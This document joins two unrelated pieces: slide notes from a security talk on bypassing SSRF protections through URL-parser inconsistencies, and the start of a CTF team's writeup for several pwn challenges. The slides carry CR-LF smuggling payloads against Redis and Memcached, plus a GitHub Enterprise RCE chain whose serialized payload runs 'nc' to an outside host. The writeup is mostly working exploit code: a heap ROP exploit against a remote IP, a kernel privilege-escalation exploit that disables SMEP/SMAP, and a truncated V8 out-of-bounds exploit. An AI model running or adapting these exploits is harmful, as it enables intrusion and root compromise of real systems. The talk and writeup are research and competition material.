Ruby addressable
💀
NodeJS url
💀
Java net.URL
Python urlparse
Go net/url
💀
Report the bug to cURL team and get a patch quickly
Bypass the patch with a space
Abusing URL Parsers
http://[email protected] @google.com/
Report Again But…
"curl doesn't verify that the URL is 100% syntactically correct. It is
instead documented to work with URLs and sort of assumes that
you pass it correct input"
Report Again But…
"curl doesn't verify that the URL is 100% syntactically correct. It is
instead documented to work with URLs and sort of assumes that
you pass it correct input"
Won't Fix
But previous patch still applied on cURL 7.54.0
Consider the following NodeJS code
NodeJS Unicode Failure
var base = "http://orange.tw/sandbox/";
var path = req.query.path;
if (path.indexOf("..") == -1) {
http.get(base + path, callback);
}
NodeJS Unicode Failure
http://orange.tw/sandbox/NN/passwd
NodeJS Unicode Failure
http://orange.tw/sandbox/\xFF\x2E\xFF\x2E/passwd
NodeJS Unicode Failure
http://orange.tw/sandbox/\xFF\x2E\xFF\x2E/passwd
NodeJS Unicode Failure
http://orange.tw/sandbox/../passwd
/ is new ../ (in NodeJS HTTP)
(U+FF2E) Full width Latin capital letter N
What the ____
NodeJS Unicode Failure
HTTP module prevents requests from CR-LF Injection
Encode the New-lines as URL encoding
http://127.0.0.1:6379/\r\nSLAVEOF orange.tw 6379\r\n
$ nc -vvlp 6379
>> GET /%0D%0ASLAVEOF%20orange.tw%206379%0D%0A HTTP/1.1
>> Host: 127.0.0.1:6379
>> Connection: close
NodeJS Unicode Failure
HTTP module prevents requests from CR-LF Injection
Break the protections by Unicode U+FF0D U+FF0A
http://127.0.0.1:6379/-*SLAVEOF@orange.tw@6379-*
$ nc -vvlp 6379
>> GET /
>> SLAVEOF orange.tw 6379
>>
HTTP/1.1
>> Host: 127.0.0.1:6379
>> Connection: close
GLibc NSS Features
In Glibc source code file resolv/ns_name.c#ns_name_pton()
/*%
* Convert an ascii string into an encoded domain name
as per RFC1035.
*/
int
ns_name_pton(const char *src, u_char *dst, size_t dstsiz)
GLibc NSS Features
RFC1035 - Decimal support in gethostbyname()
void main(int argc, char **argv) {
char *host = "or\\097nge.tw";
struct in_addr *addr = gethostbyname(host)->h_addr;
printf("%s\n", inet_ntoa(*addr));
}
…50.116.8.239
GLibc NSS Features
RFC1035 - Decimal support in gethostbyname()
>>> import socket
>>> host = '\\o\\r\\a\\n\\g\\e.t\\w'
>>> print host
\o\r\a\n\g\e.t\w
>>> socket.gethostbyname(host)
'50.116.8.239'
GLibc NSS Features
ping hitcon.org
ping '\h\i\t\c\o\n.\o\r\g'
ping '\104\105\116\099\111\110.\111\114\103'
GLibc NSS Features
void main(int argc, char **argv) {
struct addrinfo *res;
getaddrinfo("127.0.0.1 foo", NULL, NULL, &res);
struct sockaddr_in *ipv4 = (struct sockaddr_in *)res->ai_addr;
printf("%s\n", inet_ntoa(ipv4->sin_addr));
}
…127.0.0.1
Linux getaddrinfo() strip trailing rubbish followed by whitespaces
GLibc NSS Features
Linux getaddrinfo() strip trailing rubbish followed by whitespaces
Lots of implementations relied on getaddrinfo()
>>> import socket
>>> socket.gethostbyname("127.0.0.1\r\nfoo")
'127.0.0.1'
GLibc NSS Features
Exploit Glibc NSS features on URL Parsing
http://127.0.0.1\tfoo.google.com
http://127.0.0.1%09foo.google.com
http://127.0.0.1%2509foo.google.com
GLibc NSS Features
Exploit Glibc NSS features on URL Parsing
Why this works?
Some library implementations decode the URL twice…
http://127.0.0.1%2509foo.google.com
Exploit Glibc NSS features on Protocol Smuggling
HTTP protocol 1.1 required a host header
$ curl -vvv http://I-am-a-very-very-weird-domain.com
>> GET / HTTP/1.1
>> Host: I-am-a-very-very-weird-domain.com
>> User-Agent: curl/7.53.1
>> Accept: */*
GLibc NSS Features
GLibc NSS Features
Exploit Glibc NSS features on Protocol Smuggling
HTTP protocol 1.1 required a host header
http://127.0.0.1\r\nSLAVEOF orange.tw 6379\r\n:6379/
$ nc -vvlp 6379
>> GET / HTTP/1.1
>> Host: 127.0.0.1
>> SLAVEOF orange.tw 6379
>> :6379
>> Connection: close
GLibc NSS Features
https://127.0.0.1\r\nSET foo 0 60 5\r\n:443/
$ nc -vvlp 443
>> ..=5</.Aih9876.'. #...$...?...).%..g@?>3210...EDCB..
>> .....5'%"127.0.0.1
>> SET foo 0 60 5
Exploit Glibc NSS features on Protocol Smuggling
SNI Injection - Embed hostname in SSL Client Hello
Simply replace HTTP with HTTPS
GLibc NSS Features
Break the Patch of Python CVE-2016-5699
CR-LF Injection in HTTPConnection.putheader()
Space followed by CR-LF?
_is_illegal_header_value = \
re.compile(rb'\n(?![ \t])|\r(?![ \t\n])').search
…
if _is_illegal_header_value(values[i]):
raise ValueError('Invalid header value %r' % (values[i],))
Break the Patch of Python CVE-2016-5699
CR-LF Injection in HTTPConnection.putheader()
Space followed by CR-LF?
Bypass with a leading space
>>> import urllib
>>> url = 'http://0\r\n SLAVEOF orange.tw 6379\r\n :80'
>>> urllib.urlopen(url)
GLibc NSS Features
Break the Patch of Python CVE-2016-5699
Exploit with a leading space
Thanks to Redis and Memcached
GLibc NSS Features
http://0\r\n SLAVEOF orange.tw 6379\r\n :6379/
>> GET / HTTP/1.0
<< -ERR wrong number of arguments for 'get' command
>> Host: 0
<< -ERR unknown command 'Host:'
>>
SLAVEOF orange.tw 6379
<< +OK Already connected to specified master
Abusing IDNA Standard
The problem relied on URL parser and URL requester use
different IDNA standard
IDNA2003
UTS46
IDNA2008
ⓖⓞⓞⓖⓛⓔ.com
google.com
google.com
Invalid
g\u200Doogle.com
google.com
google.com
xn--google-pf0c.com
baß.de
bass.de
bass.de
xn--ba-hia.de
Abusing IDNA Standard
>> "ß".toLowerCase()
"ß"
>> "ß".toUpperCase()
"SS"
>> ["ss", "SS"].indexOf("ß")
false
>> location.href = "http://wordpreß.com"
The problem relied on URL parser and URL requester use
different IDNA standard
Cat Studies
Abusing URL Parsers - Case Study
WordPress
1.
Paid lots of attentions on SSRF protections
2.
We found 3 distinct ways to bypass the protections
3.
Bugs have been reported since Feb. 25, 2017 but still unpatched
4.
For the Responsible Disclosure Process, I will use MyBB as following
case study
Abusing URL Parsers - Case Study
The main concept is finding different behaviors among URL
parser, DNS checker and URL requester
URL parser
DNS checker
URL requester
WordPress
parse_url()
gethostbyname()
*cURL
vBulletin
parse_url()
None
*cURL
MyBB
parse_url()
gethostbynamel()
*cURL
* First priority
Abusing URL Parsers - Case Study
SSRF-Bypass tech #1
Time-of-check to Time-of-use problem
1
$url_components = @parse_url($url);
2
if(
3
!$url_components ||
4
empty($url_components['host']) ||
5
(!empty($url_components['scheme']) && !in_array($url_components['scheme'], array('http', 'https'))) ||
6
(!empty($url_components['port']) && !in_array($url_components['port'], array(80, 8080, 443)))
7
) { return false; }
8
9
$addresses = gethostbynamel($url_components['host']);
10
if($addresses) {
11
// check addresses not in disallowed_remote_addresses
12
}
13
14
$ch = curl_init();
15
curl_setopt($ch, CURLOPT_URL, $url);
16
curl_exec($ch);
Abusing URL Parsers - Case Study
1.
gethostbyname() and get 1.2.3.4
2. Check 1.2.3.4 not in blacklist
3. Fetch URL by curl_init() and
cURL query DNS again!
4. 127.0.0.1 fetched, SSRF!
Q: foo.orange.tw
A: 1.2.3.4
Q: foo.orange.tw
A: 127.0.0.1
http://foo.orange.tw/
Hacker
MyBB
DNS
1
2
4
3
Abusing URL Parsers - Case Study
SSRF-Bypass tech #2
The inconsistency between DNS checker and URL requester
There is no IDNA converter in gethostbynamel(), but cURL has
1
$url = 'http://ß.orange.tw/'; // 127.0.0.1
2
3
$host = parse_url($url)[host];
4
$addresses = gethostbynamel($host); // bool(false)
5
if ($address) {
6
// check if address in white-list
7
}
8
9
$ch = curl_init();
10
curl_setopt($ch, CURLOPT_URL, $url);
11
curl_exec($ch);
Abusing URL Parsers - Case Study
SSRF-Bypass tech #3
The inconsistency between URL parser and URL requester
Fixed in PHP 7.0.13
…127.0.0.1:11211 fetched
$url = 'http://127.0.0.1:11211#@google.com:80/';
$parsed = parse_url($url);
var_dump($parsed[host]);
// string(10) "google.com"
var_dump($parsed[port]);
// int(80)
curl($url);
Abusing URL Parsers - Case Study
SSRF-Bypass tech #3
The inconsistency between URL parser and URL requester
Fixed in cURL 7.54 (The version of libcurl in Ubuntu 17.04 is still 7.52.1)
$url = 'http://[email protected]:[email protected]:80/';
$parsed = parse_url($url);
var_dump($parsed[host]);
// string(10) "google.com"
var_dump($parsed[port]);
// int(80)
curl($url);
…127.0.0.1:11211 fetched
Abusing URL Parsers - Case Study
SSRF-Bypass tech #3
The inconsistency between URL parser and URL requester
cURL won't fix :)
$url = 'http://[email protected] @google.com:11211/';
$parsed = parse_url($url);
var_dump($parsed[host]);
// string(10) "google.com"
var_dump($parsed[port]);
// int(11211)
curl($url);
…127.0.0.1:11211 fetched
Protocol Smuggling - Case Study
GitHub Enterprise
Standalone version of GitHub
Written in Ruby on Rails and code have been obfuscated
Protocol Smuggling - Case Study
About Remote Code Execution on GitHub Enterprise
Best report in GitHub 3 rd Bug Bounty Anniversary Promotion!
Chaining 4 vulnerabilities into RCE
Protocol Smuggling - Case Study
First bug - SSRF-Bypass on Webhooks
What is Webhooks?
Protocol Smuggling - Case Study
First bug - SSRF-Bypass on Webhooks
Fetching URL by gem faraday
Blacklisting Host by gem faraday-restrict-ip-addresses
Blacklist localhost, 127.0.0.1… ETC
Simply bypassed with a zero
http://0/
Protocol Smuggling - Case Study
First bug - SSRF-Bypass on Webhooks
There are several limitations in this SSRF
Not allowed 302 redirection
Not allowed scheme out of HTTP and HTTPS
No CR-LF Injection in faraday
Only POST method
Protocol Smuggling - Case Study
Second bug - SSRF in internal Graphite service
GitHub Enterprise uses Graphite to draw charts
Graphite is bound on 127.0.0.1:8000
url = request.GET['url']
proto, server, path, query, frag = urlsplit(url)
if query: path += '?' + query
conn = HTTPConnection(server)
conn.request('GET',path)
resp = conn.getresponse()
: (
SSRF
Execution Chain
Protocol Smuggling - Case Study
Third bug - CR-LF Injection in Graphite
Graphite is written in Python
The implementation of the second SSRF is httplib.HTTPConnection
As I mentioned before, httplib suffers from CR-LF Injection
We can smuggle other protocols with URL
http://0:8000/composer/send_email
[email protected]
&url=http://127.0.0.1:6379/%0D%0ASET…
Protocol Smuggling - Case Study
Fourth bug - Unsafe Marshal in Memcached gem
GitHub Enterprise uses Memcached gem as the cache client
All Ruby objects stored in cache will be Marshal-ed
Protocol Smuggling - Case Study
http://0:8000/composer/send_email
[email protected]
&url=http://127.0.0.1:11211/%0D%0Aset%20githubproductionsearch/quer
ies/code_query%3A857be82362ba02525cef496458ffb09cf30f6256%3Av3%3Aco
unt%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation
%3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB
%07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%2012345%60%06%3A
%06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%0D%0A%0D%0A
First SSRF
Second SSRF
Memcached protocol
Marshal data
Protocol Smuggling - Case Study
http://0:8000/composer/send_email
[email protected]
&url=http://127.0.0.1:11211/%0D%0Aset%20githubproductionsearch/quer
ies/code_query%3A857be82362ba02525cef496458ffb09cf30f6256%3Av3%3Aco
unt%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation
%3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB
%07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%2012345%60%06%3A
%06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%0D%0A%0D%0A
First SSRF
Second SSRF
Memcached protocol
Marshal data
Protocol Smuggling - Case Study
http://0:8000/composer/send_email
[email protected]
&url=http://127.0.0.1:11211/%0D%0Aset%20githubproductionsearch/quer
ies/code_query%3A857be82362ba02525cef496458ffb09cf30f6256%3Av3%3Aco
unt%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation
%3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB
%07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%2012345%60%06%3A
%06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%0D%0A%0D%0A
First SSRF
Second SSRF
Memcached protocol
Marshal data
$12,500
Demo
GitHub Enterprise < 2.8.7 Remote Code Execution
https://youtu.be/GoO7_lCOfic
Mitigations
Application layer
Use the only IP and hostname, do not reuse the input URL
Network layer
Using Firewall or NetWork Policy to block Intranet traffics
Projects
SafeCurl
by @fin1te
Advocate by @JordanMilne
Summary
New Attack Surface on SSRF-Bypass
URL Parsing Issues
Abusing IDNA Standard
New Attack Vector on Protocol Smuggling
Linux Glibc NSS Features
NodeJS Unicode Failure
Case Studies
Further works
URL parser issues in OAuth
URL parser issues in modern browsers
URL parser issues in Proxy server
…
Acknowledgements
1.
Invalid URL parsing with '#'
by @bagder
2. URL Interop
by @bagder
3. Shibuya.XSS #8
by @mala
4. SSRF Bible
by @Wallarm
5. Special Thanks
Allen Own
Birdman Chiu
Henry Huang
Cat Acknowledgements
https://twitter.com/harapeko_lady/status/743463485548355584
https://tuswallpapersgratis.com/gato-trabajando/
https://carpet.vidalondon.net/cat-in-carpet/
Some Meme Websites…
Thanks
[email protected]
@orange_8361 | pdf |
Nu1L StarCtf Writeup
Nu1L StarCtf Writeup
Pwn
heap master
hackme
OOB
babyshell
girlfriend
quicksort
upxofcpp
blind pwn
Web
Echohub
996 Game
mywebsql
Misc
babyflash
otaku
Checkin
She
Sokoban
homebrewEvtLoop—
homebrewEvtLoop#
Reverse
Matr1x
fanoGo
yy
Obfuscating Macros II
Crypto
babyprng
babyprng2
notcurves
notfeal
Pwn
heap master
Status: Completed Tags: Pwn
from pwn import *
LOCAL = 0
VERSBOE = 1
if VERSBOE:
context.log_level = 'debug'
else:
context.log_level = 'critical'
if LOCAL:
io = process('./heap_master', env={'LD_PRELOAD': './libc.so.6'}, aslr=False)
else:
io = remote('34.92.96.238', 60001)
def add(size):
io.sendlineafter('>> ', '1')
io.sendlineafter('size: ', str(size))
def edit(off, size, content):
io.sendlineafter('>> ', '2')
io.sendlineafter('offset: ', str(off))
io.sendlineafter('size: ', str(size))
io.sendafter('content: ', content)
def delete(off):
io.sendlineafter('>> ', '3')
io.sendlineafter('offset: ', str(off))
edit(0xc8, 8, p64(0x101))
edit(0x1c8, 8, p64(0x31))
edit(0x1f8, 8, p64(0x31))
delete(0xd0)
edit(0xd8, 2, '\xc0\xd7')
add(0xf0)
edit(0x8, 8, p64(0x1611))
edit(0x8+0x1610, 8, p64(0x31))
delete(0x10)
edit(0x808, 0x10, p64(0x1611) + p64(0x00000000fbad1800))
add(0x1610-0x10)
edit(0x8, 8, p64(0x1651))
edit(0x8+0x1650, 8, p64(0x31))
delete(0x10)
io.recvn(0x10)
leak_addr = u64(io.recvn(8))
print hex(leak_addr)
libc_base = leak_addr - 0x39e683
print hex(libc_base)
edit(0x8, 8, p64(0x3921))
edit(0x8+0x3920, 8, p64(0x31))
delete(0x10)
payload = p64(libc_base+0x177df9)
edit(0x10, len(payload), payload)
add(0x3920-0x10)
libc = ELF('./libc.so.6')
# 0x0000000000177df9 : xchg ebp, edi ; jmp qword ptr [rdx]
# 0x0000000000029933 : leave ; ret
# 0x000000000001feea : pop rdi ; ret
# 0x000000000001fe95 : pop rsi ; ret
# 0x0000000000001b92 : pop rdx ; ret
pop_rdi = libc_base+0x000000000001feea
pop_rsi = libc_base+0x000000000001fe95
pop_rdx = libc_base+0x0000000000001b92
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
data = libc_base + 0x39f000
edit(0, 8, p64(0x0000000000029933+libc_base))
payload = p64(0) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(data) + p64(pop_rdx) + p64(4) +
p64(read_addr)
payload += p64(pop_rdi) + p64(data) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(data+0x100) + p64(pop_rdx) + p64(0x100) +
p64(read_addr)
hackme
Status: Completed Tags: Pwn
hack_me
Can you hack me?
https://adworld.xctf.org.cn/media/uploads/task/ae8a640b05bb4223b30a385faed44962.zip
possize+possize
0x2e0/dev/ptmxttytty
leaktty
gadget
r10tty
add rsp,0x200rop
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(data+0x100) + p64(pop_rdx) + p64(0x100) +
p64(write_addr)
edit(0x800, len(payload), payload)
delete(0x800)
io.send('flag')
io.interactive()
ssh [email protected] -p 10022
password: pwn
0xffffffff81003ea4 : lea rsp, qword ptr [r10 - 8] ; ret
#include <unistd.h>
#include <sys/ioctl.h>
#include <pthread.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <signal.h>
#define READ 0x30003 //
#define EDIT 0x30002 //
#define ALLOC 0x30000
#define FREE 0x30001
#define CRED_SIZE 0x78
#define FORK_NUM 20
#define u64 unsigned long long
struct exp
{
size_t index;
void* buf;
size_t size;
size_t pos;
}exp1;
static int is_fin = 0;
static int uid = 0;
static int idd[FORK_NUM] = {0};
char buf[0x100] = {0};
u64 leak_kernel = 0;
u64 kernel_base = 0;
u64 leak_heap = 0;
u64 buf_addr = 0;
u64 user_cs, user_ss, user_rflags;
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}
void print_hex(unsigned long long *d)
{
for(int i=0;i<8;i++)
{
if(d[i] == 0x100)
{
if(((d[i+1] & 0xffff) == 0xde30) && !kernel_base)
{
leak_kernel = d[i+1];
kernel_base = leak_kernel - 450096;
printf("[*]leak kernel base %p\n",kernel_base);
sleep(5);
}
}
if(((d[i] & 0xfff) == 0x670) && !leak_heap)
{
leak_heap = d[i];
buf_addr = leak_heap + 2448;
printf("[*]leak buf base %p\n",buf_addr);
}
printf("%p ",d[i]);
}
printf("\n");
}
char* (*pkc)(int) = NULL;
void (*cc)(char*) = NULL;
void payload(void)
{
char* (*pkc)(int) = 316368 + kernel_base;
void (*cc)(char*) = 315936 + kernel_base;
(*cc)((*pkc)(0));
asm("swapgs;iretq;");
}
void shell()
{
system("chmod 777 /flag");
//system("id");
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
void get_shell_again()
{
system("chmod 777 /flag ");
//puts("SIGSEGV found");
//puts("get shell again");
//system("id");
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
int main()
{
signal(SIGSEGV,get_shell_again);
int f = open("/dev/hackme",0);
printf("%d\n",f);
pthread_t t1;
uid = getuid();
printf("uid : %d\n",uid);
struct exp *alloc = (struct exp*)malloc(sizeof(struct exp));
alloc->buf = malloc(0x100000);
memcpy(alloc->buf,"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",0x100);
alloc->size = 0x2e0;
alloc->index = 0;
alloc->pos = 0;
int fd=open("/dev/kdb",0);
int a =ioctl(f,ALLOC,alloc);
if(a == -1)
{return 0;}
for(int i=0;i<20;i++)
{
alloc->index++;
a =ioctl(f,ALLOC,alloc);
}
alloc->index = 0;
printf("%d\n",a);
size_t i=64;
// leak
for(;i<0x1000;i+=64)
{
memset(alloc->buf,0,0x100000);
size_t t = 0 - i;
alloc->pos = t;
alloc->size = i + 1;
a = ioctl(f,READ,alloc);
if(a == -1)
{
printf("error ! \n");
return 0;
}
print_hex((unsigned long long*)alloc->buf);
}
memset(alloc->buf,0,8);
printf("[-]free chunk\n");
for(int i=1;i<18;i++)
{
alloc->index = i;
if(i == 3)
{
continue;
}
a = ioctl(f,FREE,alloc);
printf("%d ",a);
}
for(int i=0;i<FORK_NUM;i++)
{
idd[i] = open("/dev/ptmx",O_RDWR|O_NOCTTY); // tty
}
alloc->index = 3;
alloc->pos = 0 - 0x400;
alloc->size = 0x401;
a = ioctl(f,READ,alloc);
kernel_base =((u64*)alloc->buf)[3] -6446176;
buf_addr = ((u64*)alloc->buf)[7]-(0xffff88800e80d838 - 0xffff88800e80d000);
printf("[****]re leak %p %p",kernel_base,buf_addr);
for(int i=0;i<0x300;i++)
{
((u64*)alloc->buf)[i] = kernel_base + 16036; //
}
//((u64*)alloc->buf)[21] = kernel_base + 1335202;
((u64*)alloc->buf)[0] = buf_addr;
alloc->index = 0;
alloc ->pos = 0;
alloc -> size = 0x2d0;
ioctl(f,EDIT,alloc);
alloc->index = 3;
alloc->pos = 0 - 0x400;
alloc->size = 0x401;
a = ioctl(f,READ,alloc);
printf("\n%d\n",a);
print_hex(alloc->buf);
((u64*)alloc->buf)[3] = buf_addr; //
((u64*)alloc->buf)[4] = buf_addr;
a = ioctl(f,EDIT,alloc);
for(i=0;i<FORK_NUM;i++)
{
//write(idd[i],"aaaaaaaa",kernel_base);
ioctl(idd[i],0xdeadbeef,100);
}
alloc->index = 3;
alloc->pos = 0 - 568;
alloc->size = 568 + 1;
ioctl(f,READ,alloc);
print_hex(alloc->buf);
alloc->index = 3;
alloc->pos = 0 - 568;
alloc->size = 568 + 1;
((u64*)alloc->buf)[0] = kernel_base + 1561198;//buf_addr + 0xc00;
a = ioctl(f,EDIT,alloc);
alloc->pos = 0 - 40;
alloc->size = 40 + 0x2a0;
int flag = 0;
save_state();
((u64*)alloc->buf)[flag++] = kernel_base + 0xE546; //ret
((u64*)alloc->buf)[flag++] = kernel_base + 0xE546; // ret
((u64*)alloc->buf)[flag++] = kernel_base + 0x1B5A1; // pop rax ;ret
((u64*)alloc->buf)[flag++] = 0x6f0;
((u64*)alloc->buf)[flag++] = kernel_base + 0x1B7A0; //cr4smep smap
/*
seg000:000000000001B7A0 mov cr4, rax
seg000:000000000001B7A3 push rcx
seg000:000000000001B7A4 popfq
flagdouble fetch
OOB
Status: Completed Tags: Pwn
seg000:000000000001B7A5 pop rbp
seg000:000000000001B7A6 retn
*/
((u64*)alloc->buf)[flag++] = alloc->buf + 0x10000;
((u64*)alloc->buf)[flag++] = kernel_base + 0x10D21C; // pop rdi; pop rax; ret rdi 0
((u64*)alloc->buf)[flag++] = 0;
((u64*)alloc->buf)[flag++] = 316368 + kernel_base; // prepare_kernel_cred
((u64*)alloc->buf)[flag++] = kernel_base + 0x13B204 ;
/*
seg000:000000000013B204 pop rcx
seg000:000000000013B205 pop rbx
seg000:000000000013B206 pop r12
seg000:000000000013B208 pop r13
seg000:000000000013B20A pop r14
seg000:000000000013B20C pop rbp
seg000:000000000013B20D retn*/
((u64*)alloc->buf)[flag++] = 0x13B20C + kernel_base;
((u64*)alloc->buf)[flag++] = 0;
((u64*)alloc->buf)[flag++] = 0;
((u64*)alloc->buf)[flag++] = 0;
((u64*)alloc->buf)[flag++] = 0;
((u64*)alloc->buf)[flag++] = alloc->buf + 0x10000; //
((u64*)alloc->buf)[flag++] = kernel_base + 663415 ; // 0xffffffff810a1f77 : mov rdi, rax ; call rcx
// prepare_kernel_cred(0)rdi
((u64*)alloc->buf)[flag++] = 315936 + kernel_base; //commit_creds
((u64*)alloc->buf)[flag++] = 2100270 + kernel_base; //swapgs ; popfq ; pop rbp ; ret
((u64*)alloc->buf)[flag++] = 0x246;
((u64*)alloc->buf)[flag++] = 0;
((u64*)alloc->buf)[flag++] = 0x19356 + kernel_base ; // iretq
((u64*)alloc->buf)[flag++] = (size_t)&shell;
((u64*)alloc->buf)[flag++] = user_cs; /* saved CS */
((u64*)alloc->buf)[flag++] = user_rflags; /* saved EFLAGS */
((u64*)alloc->buf)[flag++] = &f - (u64)0x100; /* stack */
((u64*)alloc->buf)[flag++] = user_ss;
a = ioctl(f,EDIT,alloc);
printf("%d\n",a);
printf("123\n");
for(int i=0;i<FORK_NUM;i++)
{
close(idd[i]);
}
}
<html>
<meta http-equiv="cache-control" content="no-cache" />
<title>Welcome my little pwnie 1,2,3!</title>
<script>
//
// Utility functions.
//
// Return the hexadecimal representation of the given byte.
function hex(b) {
return ('0' + b.toString(16)).substr(-2);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++)
res.push(hex(bytes[i]));
return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
var chunk = data.slice(i, i+16);
for (var i = 0; i < data.length; i += 16) {
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
//
// Tiny module that provides big (64bit) integers.
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function() {
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a & b
this.assignAnd = operation(function and(a, b) {
for (var i = 0; i < 8; i++) {
bytes[i] = a.byteAt(i) & b.byteAt(i);
}
return this;
}, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Return a & b
function And(a, b) {
return (new Int64()).assignAnd(a, b);
}
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
</script>
<script>
// primitives, addr's type = double
function fakeobj(addr) {
var a = [1, 2, []];
for(var i = 4; i < 11; i++) {
a.push(i);
}
a.length = 5;
var o = {
valueOf: function() {
a.length = 10;
return addr;
}
};
a.oob(o);
return a[5];
}
// leak needed, this should be contiguous, otherwise we die
// also: do NOT trigger GC if you want this primitive enabled
var kkk = [];
for(var i = 0; i < 0x100; i++) {
var a = new Array(4);
kkk.push(a);
}
var ppp = [];
for(var i = 0; i < 0x100; i++) {
var a = [0.0, 1.1, 2.2, 3.3];
ppp.push(a);
}
var l = kkk[100];
var r = ppp[100];
var objarr_map = l.oob();
var double_map = r.oob();
console.log(objarr_map);
console.log(double_map);
